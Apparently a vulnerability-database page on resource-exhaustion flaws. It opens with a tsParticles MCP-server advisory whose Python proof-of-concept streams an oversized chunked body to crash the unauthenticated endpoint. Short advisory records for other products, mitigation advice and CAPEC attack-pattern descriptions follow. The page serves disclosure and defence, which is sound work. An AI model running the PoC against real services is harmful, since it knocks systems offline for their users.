integrations/mcp-server/src/index.ts:399-407\n\nVulnerability:\n The POST /mcp handler resolves a Promise that accumulates every data chunk\n into a Buffer[] array without any Content-Length or size guard, then calls\n Buffer.concat() and JSON.parse() on the full body. An unauthenticated\n remote attacker can exhaust the server\u0027s memory by streaming an arbitrarily\n large body.\n\n Source (index.ts:399-407):\n if (req.method === \"POST\" \u0026\u0026 req.url === \"/mcp\") {\n const body = await new Promise\u003cstring\u003e((resolve, reject) =\u003e {\n const chunks: Buffer[] = [];\n req.on(\"data\", (chunk) =\u003e chunks.push(Buffer.from(chunk))); // no guard\n req.on(\"end\", () =\u003e resolve(Buffer.concat(chunks).toString(\"utf8\")));\n req.on(\"error\", reject);\n });\n const parsedBody = body ? JSON.parse(body) : undefined;\n\nExploit strategy:\n Stream a large body via chunked transfer encoding so the Python process\n itself needs only O(chunk) memory. The Node.js server accumulates every\n chunk in its Buffer array. With a Docker memory cap of 256 MB the container\n is OOM-killed once the buffered data exceeds available RAM, producing\n OOMKilled=true \u2014 an unambiguous, observable indicator.\n\nUsage:\n python3 poc.py [--host 127.0.0.1] [--port 3000]\n [--mb 300] [--container vuln001-mcp]\n\"\"\"\n\nimport argparse\nimport socket\nimport subprocess\nimport sys\nimport time\n\n\n# ---------------------------------------------------------------------------\n# Helpers\n# ---------------------------------------------------------------------------\n\ndef parse_args():\n p = argparse.ArgumentParser(description=\"VULN-001 PoC \u2014 unbounded body buffering\")\n p.add_argument(\"--host\", default=\"127.0.0.1\", help=\"Server host\")\n p.add_argument(\"--port\", type=int, default=3000, help=\"Server port\")\n p.add_argument(\"--mb\", type=int, default=300, help=\"Payload size in MB\")\n p.add_argument(\"--container\", default=\"vuln001-mcp\", help=\"Docker container name\")\n return p.parse_args()\n\n\ndef wait_for_server(host: str, port: int, timeout: int = 60) -\u003e bool:\n \"\"\"Poll TCP until the server accepts connections or timeout expires.\"\"\"\n deadline = time.time() + timeout\n print(f\"[*] Waiting for server at {host}:{port} (timeout={timeout}s) ...\", flush=True)\n while time.time() \u003c deadline:\n try:\n s = socket.create_connection((host, port), timeout=1)\n s.close()\n print(\"[+] Server is ready\", flush=True)\n return True\n except OSError:\n time.sleep(0.5)\n print(\"[-] Timed out waiting for server\")\n return False\n\n\ndef container_info(name: str) -\u003e tuple[str, str, str]:\n \"\"\"Return (status, mem_usage, oom_killed) strings for a Docker container.\"\"\"\n status, oom = \"unknown\", \"unknown\"\n try:\n r = subprocess.run(\n [\"docker\", \"inspect\", \"--format\",\n \"{{.State.Status}}|{{.State.OOMKilled}}\", name],\n capture_output=True, text=True, timeout=5,\n )\n if r.returncode == 0:\n parts = r.stdout.strip().split(\"|\")\n status = parts[0] if len(parts) \u003e 0 else \"unknown\"\n oom = parts[1] if len(parts) \u003e 1 else \"unknown\"\n except Exception as exc:\n status = f\"error({exc})\"\n\n mem = \"N/A\"\n try:\n r2 = subprocess.run(\n [\"docker\", \"stats\", \"--no-stream\", \"--format\", \"{{.MemUsage}}\", name],\n capture_output=True, text=True, timeout=5,\n )\n mem = r2.stdout.strip() or \"N/A\"\n except Exception:\n pass\n\n return status, mem, oom\n\n\n# ---------------------------------------------------------------------------\n# Core exploit\n# ---------------------------------------------------------------------------\n\ndef stream_large_body(host: str, port: int, total_mb: int) -\u003e tuple[bool, int, bytes]:\n \"\"\"\n Open a single TCP connection and stream a large body using chunked TE.\n\n Using chunked transfer encoding keeps this Python process\u0027s memory usage\n at O(1-MB chunk) while forcing the Node.js server to accumulate every\n received chunk in its Buffer[] array \u2014 the vulnerable code path.\n\n Returns:\n server_closed \u2014 True if the server reset the connection mid-stream\n bytes_sent \u2014 total body bytes sent\n response \u2014 first bytes of the HTTP response (may be empty)\n \"\"\"\n s = socket.create_connection((host, port))\n\n headers = (\n f\"POST /mcp HTTP/1.1\\r\\n\"\n f\"Host: {host}:{port}\\r\\n\"\n f\"Content-Type: application/json\\r\\n\"\n f\"Transfer-Encoding: chunked\\r\\n\"\n f\"Connection: close\\r\\n\"\n f\"\\r\\n\"\n ).encode()\n s.sendall(headers)\n\n def send_chunk(data: bytes) -\u003e None:\n s.sendall(f\"{len(data):x}\\r\\n\".encode() + data + b\"\\r\\n\")\n\n # Begin a JSON body prefix (the server buffers everything before parsing)\n prefix = b\u0027{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"tools/list\",\"params\":\"\u0027\n send_chunk(prefix)\n bytes_sent = len(prefix)\n\n chunk_size = 1024 * 1024 # 1 MB per TCP write\n filler = b\"A\" * chunk_size\n target = total_mb * 1024 * 1024\n server_closed = False\n\n while bytes_sent \u003c target:\n remaining = target - bytes_sent\n chunk = filler[: min(chunk_size, remaining)]\n try:\n send_chunk(chunk)\n bytes_sent += len(chunk)\n mb_done = bytes_sent // (1024 * 1024)\n if mb_done % 50 == 0:\n print(f\"[*] {mb_done}/{total_mb} MB streamed ...\", flush=True)\n except (BrokenPipeError, ConnectionResetError, OSError) as exc:\n print(f\"[!] Connection reset after {bytes_sent // (1024 * 1024)} MB: {exc}\",\n flush=True)\n server_closed = True\n break\n\n if not server_closed:\n try:\n send_chunk(b\u0027\"}\u0027)\n s.sendall(b\"0\\r\\n\\r\\n\") # final (empty) chunk = end of chunked body\n except OSError:\n server_closed = True\n\n response = b\"\"\n if not server_closed:\n s.settimeout(5)\n try:\n response = s.recv(4096)\n except OSError:\n pass\n\n try:\n s.close()\n except OSError:\n pass\n\n return server_closed, bytes_sent, response\n\n\n# ---------------------------------------------------------------------------\n# Main\n# ---------------------------------------------------------------------------\n\ndef main() -\u003e bool:\n args = parse_args()\n\n print(\"=\" * 65)\n print(\"VULN-001 \u2014 Unbounded HTTP Body Buffering in @tsparticles/mcp-server\")\n print(f\"Target : http://{args.host}:{args.port}/mcp (no auth)\")\n print(f\"Payload : {args.mb} MB (no Content-Length or body-size guard)\")\n print(f\"Monitor : Docker container \u0027{args.container}\u0027\")\n print(\"=\" * 65)\n\n if not wait_for_server(args.host, args.port):\n print(\"[FAIL] Server did not become available\")\n return False\n\n # --- baseline ---\n status_before, mem_before, _ = container_info(args.container)\n print(f\"\\n[*] Baseline status={status_before} memory={mem_before}\")\n\n # --- exploit ---\n print(f\"\\n[*] Streaming {args.mb} MB body to POST /mcp ...\", flush=True)\n t0 = time.time()\n server_closed, bytes_sent, response = stream_large_body(\n args.host, args.port, args.mb\n )\n elapsed = time.time() - t0\n\n time.sleep(2) # allow Docker stats to refresh\n\n status_after, mem_after, oom_killed = container_info(args.container)\n\n print(f\"\\n[*] Transfer : {bytes_sent // (1024 * 1024)} MB in {elapsed:.1f} s\")\n print(f\"[*] Server closed : {server_closed}\")\n print(f\"[*] HTTP response : {response[:200]!r}\")\n print(f\"[*] Container : status={status_after} OOMKilled={oom_killed}\")\n print(f\"[*] Memory before : {mem_before}\")\n print(f\"[*] Memory after : {mem_after}\")\n\n # --- verdict ---\n if oom_killed == \"true\":\n print(\"\\n[PASS] OOMKilled=true \u2014 Docker OOM-killed the container\")\n print(\" The Node.js process was killed because it buffered the full\")\n print(\" request body in memory (no size guard in POST /mcp handler).\")\n return True\n\n if status_after in (\"exited\", \"dead\"):\n print(f\"\\n[PASS] Container exited (status={status_after}) after receiving\"\n f\" {bytes_sent // (1024 * 1024)} MB body \u2014 memory exhaustion confirmed\")\n return True\n\n if not server_closed and status_after == \"running\":\n print(f\"\\n[PASS] {args.mb} MB body fully accepted \u2014 no size limit enforced\")\n print(f\" Memory before: {mem_before} | after: {mem_after}\")\n print(\" CWE-400 confirmed: unbounded buffering without authentication\")\n return True\n\n if server_closed:\n print(f\"\\n[PARTIAL] Connection reset after {bytes_sent // (1024 * 1024)} MB\")\n print(\" Server may have crashed internally; check docker logs.\")\n # Still consider PASS if container is dead\n if status_after not in (\"running\",):\n return True\n return False\n\n print(\"\\n[INCONCLUSIVE] Unexpected outcome \u2014 inspect container logs manually\")\n return False\n\n\nif __name__ == \"__main__\":\n ok = main()\n sys.exit(0 if ok else 1)\n```",
"id": "GHSA-447x-qqwf-m7xq",
"modified": "2026-11-09T21:10:46Z",
"published": "2026-11-09T21:10:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tsparticles/tsparticles/security/advisories/GHSA-447x-qqwf-m7xq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63655"
},
{
"type": "WEB",
"url": "https://github.com/tsparticles/tsparticles/pull/5875"
},
{
"type": "WEB",
"url": "https://github.com/tsparticles/tsparticles/commit/25fb70e7f527a91568adaef576570289083f243b"
},
{
"type": "WEB",
"url": "https://github.com/tsparticles/tsparticles/commit/7b3a9488d4201fe9ddd5fec05f4a2ae65d3627ea"
},
{
"type": "PACKAGE",
"url": "https://github.com/tsparticles/tsparticles"
},
{
"type": "WEB",
"url": "https://github.com/tsparticles/tsparticles/releases/tag/v4.3.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "tsParticles: Unbounded HTTP Request Body Buffering in @tsparticles/mcp-server Leads to Remote DoS"
}
GHSA-4486-FJCC-2H74
Vulnerability from github – Published: 2022-05-14 01:48 – Updated: 2022-05-14 01:48YukiWiki 2.1.3 and earlier does not process a particular request properly that may allow consumption of large amounts of CPU and memory resources and may result in causing a denial of service condition.
{
"affected": [],
"aliases": [
"CVE-2018-0700"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-11-15T15:29:00Z",
"severity": "HIGH"
},
"details": "YukiWiki 2.1.3 and earlier does not process a particular request properly that may allow consumption of large amounts of CPU and memory resources and may result in causing a denial of service condition.",
"id": "GHSA-4486-fjcc-2h74",
"modified": "2022-05-14T01:48:25Z",
"published": "2022-05-14T01:48:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-0700"
},
{
"type": "WEB",
"url": "http://jvn.jp/en/jp/JVN36343375/index.html"
},
{
"type": "WEB",
"url": "http://www.hyuki.com/yukiwiki"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-44C6-4V22-4MHX
Vulnerability from github – Published: 2021-09-20 20:42 – Updated: 2023-07-11 13:37npm semver-regex is vulnerable to Inefficient Regular Expression Complexity
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "semver-regex"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "semver-regex"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.0.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"4.0.0"
]
}
],
"aliases": [
"CVE-2021-3795"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2021-09-16T17:31:51Z",
"nvd_published_at": "2021-09-15T17:15:00Z",
"severity": "HIGH"
},
"details": "npm `semver-regex` is vulnerable to Inefficient Regular Expression Complexity",
"id": "GHSA-44c6-4v22-4mhx",
"modified": "2023-07-11T13:37:50Z",
"published": "2021-09-20T20:42:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3795"
},
{
"type": "WEB",
"url": "https://github.com/sindresorhus/semver-regex/commit/11c66245f4e1976dccc52977ed183696a21a3fd7"
},
{
"type": "PACKAGE",
"url": "https://github.com/sindresorhus/semver-regex"
},
{
"type": "WEB",
"url": "https://huntr.dev/bounties/006624e3-35ac-448f-aab9-7b5183f30e28"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "semver-regex Regular Expression Denial of Service (ReDOS)"
}
GHSA-44GC-6MM4-5H7R
Vulnerability from github – Published: 2026-06-15 21:30 – Updated: 2026-06-16 21:31An issue in the /util/http/prelude.rs endpoint of Datadog, Inc Vector v0.54.0 allows attackers to cause a Denial of Service (DoS) via a crafted request or payload.
{
"affected": [],
"aliases": [
"CVE-2026-39197"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-15T20:16:27Z",
"severity": "MODERATE"
},
"details": "An issue in the /util/http/prelude.rs endpoint of Datadog, Inc Vector v0.54.0 allows attackers to cause a Denial of Service (DoS) via a crafted request or payload.",
"id": "GHSA-44gc-6mm4-5h7r",
"modified": "2026-06-16T21:31:54Z",
"published": "2026-06-15T21:30:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39197"
},
{
"type": "WEB",
"url": "https://gist.github.com/pyuysig/221e90dd598ab3f3c3100ae59db8e8d4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-44J6-FF62-J2VQ
Vulnerability from github – Published: 2026-08-19 15:32 – Updated: 2026-08-19 15:32IBM AIX 7.2, and 7.3 and IBM PowerVM VIOS 4.1 could allow a remote attacker to cause a denial of service due to uncontrolled resource consumption.
{
"affected": [],
"aliases": [
"CVE-2026-16690"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-19T15:16:56Z",
"severity": "HIGH"
},
"details": "IBM AIX 7.2, and 7.3 and IBM PowerVM VIOS 4.1 could allow a remote attacker to cause a denial of service due to uncontrolled resource consumption.",
"id": "GHSA-44j6-ff62-j2vq",
"modified": "2026-08-19T15:32:37Z",
"published": "2026-08-19T15:32:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-16690"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7283858"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-44PV-MW72-7WFV
Vulnerability from github – Published: 2026-01-21 00:31 – Updated: 2026-01-21 00:31Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 9.0.0-9.5.0. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).
{
"affected": [],
"aliases": [
"CVE-2026-21950"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-20T22:15:57Z",
"severity": "MODERATE"
},
"details": "Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 9.0.0-9.5.0. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).",
"id": "GHSA-44pv-mw72-7wfv",
"modified": "2026-01-21T00:31:43Z",
"published": "2026-01-21T00:31:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21950"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujan2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-44PW-H2CW-W3VQ
Vulnerability from github – Published: 2022-05-23 20:18 – Updated: 2022-05-23 20:18Hawk is an HTTP authentication scheme providing mechanisms for making authenticated HTTP requests with partial cryptographic verification of the request and response, covering the HTTP method, request URI, host, and optionally the request payload. Hawk used a regular expression to parse Host HTTP header (Hawk.utils.parseHost()), which was subject to regular expression DoS attack - meaning each added character in the attacker's input increases the computation time exponentially. parseHost() was patched in 9.0.1 to use built-in URL class to parse hostname instead.Hawk.authenticate() accepts options argument. If that contains host and port, those would be used instead of a call to utils.parseHost().
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "hawk"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-29167"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2022-05-23T20:18:14Z",
"nvd_published_at": "2022-05-05T23:15:00Z",
"severity": "HIGH"
},
"details": "Hawk is an HTTP authentication scheme providing mechanisms for making authenticated HTTP requests with partial cryptographic verification of the request and response, covering the HTTP method, request URI, host, and optionally the request payload. Hawk used a regular expression to parse `Host` HTTP header (`Hawk.utils.parseHost()`), which was subject to regular expression DoS attack - meaning each added character in the attacker\u0027s input increases the computation time exponentially. `parseHost()` was patched in `9.0.1` to use built-in `URL` class to parse hostname instead.`Hawk.authenticate()` accepts `options` argument. If that contains `host` and `port`, those would be used instead of a call to `utils.parseHost()`.",
"id": "GHSA-44pw-h2cw-w3vq",
"modified": "2022-05-23T20:18:14Z",
"published": "2022-05-23T20:18:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mozilla/hawk/security/advisories/GHSA-44pw-h2cw-w3vq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-29167"
},
{
"type": "WEB",
"url": "https://github.com/mozilla/hawk/pull/286"
},
{
"type": "WEB",
"url": "https://github.com/mozilla/hawk/commit/d10d72ca82db967f6c5fcf866ff78e3ca25ce1ab"
},
{
"type": "PACKAGE",
"url": "https://github.com/mozilla/hawk"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Uncontrolled Resource Consumption in Hawk"
}
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- recognizes the attack and denies that user further access for a given amount of time, or
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation
Ensure that all failures in resource allocation place the system into a safe posture.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-227: Sustained Client Engagement
An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.